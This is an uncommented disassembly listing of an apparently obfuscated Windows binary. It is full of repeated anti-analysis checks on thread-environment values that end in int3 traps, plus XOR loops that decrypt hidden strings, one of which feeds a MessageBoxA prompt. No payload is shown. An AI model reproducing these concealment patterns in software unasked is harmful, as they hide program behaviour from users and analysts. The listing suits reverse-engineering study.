cmp rax, r13
jne 0x1400117d9
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400117b9
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400117b9
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400117d9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
movdqa xmm0, xmmword [0x1400c68e0]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400c69e0]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0x735883cf
mov dword [rbp + 0xbec], 0x5de8fc73
mov dword [rbp + 0xbf0], 0xd4242732
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r14
movabs rbx, 0x17e85ebeb
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.14001f850
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x14001182c
mov byte [rbp + 0xbf4], r14b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140003018
mov rax, qword gs:[0xd]
cmp rax, r13
mov ebx, 0x92f30d33
jne 0x140011929
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140011909
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140011909
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140011929
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x1400119d3
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400119b3
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400119b3
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400119d3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
lea rcx, [rbp + 0x9f8]
call fcn.14000fe34
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140003128
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.14002096c
lea rcx, [rbp + 0x9f8]
call fcn.1400208a8
lea rcx, [rbp + 0x9f8]
call fcn.140003638
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140011adc
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140011abc
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140011abc
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140011adc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140011b97
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140011b77
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140011b77
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140011b97
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov dword [rbp - 0x68], 0xcc1086f8
mov word [rbp - 0x64], 0x94c8
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r14
movabs rsi, 0x17e85ebeb
mov qword [rsp + 0x20], rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.14001f7d8
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x140011bb6
mov byte [rbp - 0x62], r14b
mov dword [rbp - 0x58], 0xcc1094e1
mov word [rbp - 0x54], 0x94c8
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r14
movabs rsi, 0x4e682bb16d2bb992
movabs rbx, 0x17e85ebeb
mov qword [rsp + 0x20], rbx
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.14001f7d8
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x140011c0e
mov byte [rbp - 0x52], r14b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.140020bdc
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.1400205b4
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.140020708
lea rcx, [rbp - 0x68]
call fcn.140003180
mov rcx, rax
call fcn.140003128
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.1400203f4
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.140020708
lea rdx, [0x1400d68c0]
lea rcx, [rbp + 0xa78]
call fcn.1400205b4
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.140020708
lea rcx, [rbp + 0xa78]
call fcn.1400208a8
lea rcx, [rbp + 0xa78]
call fcn.140003638
lea rcx, [rbp + 0xa58]
call fcn.1400208a8
lea rcx, [rbp + 0xa58]
call fcn.140003638
lea rcx, [rbp + 0xa38]
call fcn.1400208a8
lea rcx, [rbp + 0xa38]
call fcn.140003638
mov rax, qword gs:[0xd]
cmp rax, r13
mov ebx, 0x92f30d33
jne 0x140011dbe
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140011d9e
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140011d9e
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140011dbe
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140011e68
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140011e48
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140011e48
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140011e68
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
lea rcx, [rbp + 0x1208]
call fcn.14002021c
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.140086640
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140011f3d
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140011f1d
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140011f1d
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140011f3d
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140011fe7
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140011fc7
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140011fc7
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140011fe7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.1400030d0
lea rcx, [rbp + 0x10e8]
call fcn.140020944
nop
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x1400120ae
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001208e
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001208e
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400120ae
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140012169
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012149
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012149
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012169
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
lea rcx, [rbp + 0x11e8]
call fcn.14002021c
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.14000f99c
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140012234
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012214
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012214
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012234
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov dword [rbp + 0x1e0], 0xcd7f8c8
mov dword [rbp + 0x1e4], 0x4f8fbfa8
mov dword [rbp + 0x1e8], 0x525fe28b
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r14
movabs rbx, 0x17e85ebeb
mov qword [rsp + 0x20], rbx
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.14001f760
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x140012267
mov byte [rbp + 0x1ec], r14b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.140020ef8
test al, al
je 0x140012824
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140012367
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012347
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012347
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012367
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
movdqa xmm0, xmmword [0x1400c66c0]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x2ceeda10
mov word [rbp + 0x7cc], 0xc6d9
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.14001f674
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x140012395
mov byte [rbp + 0x7ce], r14b
movdqa xmm0, xmmword [0x1400c6750]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400c68f0]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400c69d0]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400c67d0]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400c6900]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400c6770]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400c68d0]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400c6860]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x6d7ca493
mov word [rbp + 0xde4], 0xb68b
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r14
mov ebx, 0x86
movabs rsi, 0x17e85ebeb
mov qword [rsp + 0x20], rsi
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.14001f6e8
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, rbx
jb 0x14001247d
mov byte [rbp + 0xde6], r14b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rcx, qword gs:[0xd]
cmp rcx, r13
movabs rsi, 0x4e682bb16d2bb992
jne 0x140012586
mov rcx, qword gs:[0x1e]
xor rcx, r12
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x1e]
xor rcx, r12
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x1e]
xor rcx, r12
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012566
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012566
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012586
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140012643
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x92f30d33
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012623
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012623
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012643
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
cmp edi, 7
je 0x14001f3e8
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x1400126f6
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400126d6
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400126d6
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400126f6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140085718
int3
movdqa xmm0, xmmword [0x1400c6710]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400c66d0]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400c6690]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r14
movabs rbx, 0x17e85ebeb
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.14001f600
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x140012733
mov byte [rbp + 0xc57], r14b
lea rcx, [rbp + 0xc28]
call fcn.140089b6c
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140012824
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012804
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012804
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012824
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
mov edi, 0x92f30d33
mov ebx, 0x3d33a2ba
cmp rax, r13
jne 0x1400128e5
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400128c5
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400128c5
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400128e5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.140020764
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.14000ff7c
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.140020640
lea rcx, [rbp + 0xab8]
call fcn.1400208a8
lea rcx, [rbp + 0xab8]
call fcn.140003638
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x1400129d8
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400129b8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400129b8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400129d8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140012a91
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012a71
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012a71
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012a91
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.140020918
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140012b49
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012b29
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012b29
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012b49
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140012c02
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012be2
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012be2
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012c02
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.140089fdc
mov rbx, rax
mov qword [rbp - 0x40], rax
mov rcx, qword gs:[0xd]
cmp rcx, r13
jne 0x140012cd0
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012cb0
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012cb0
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012cd0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140012d7a
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012d5a
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012d5a
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012d7a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov r15, qword [rbp + 0x10f8]
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140012e2b
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
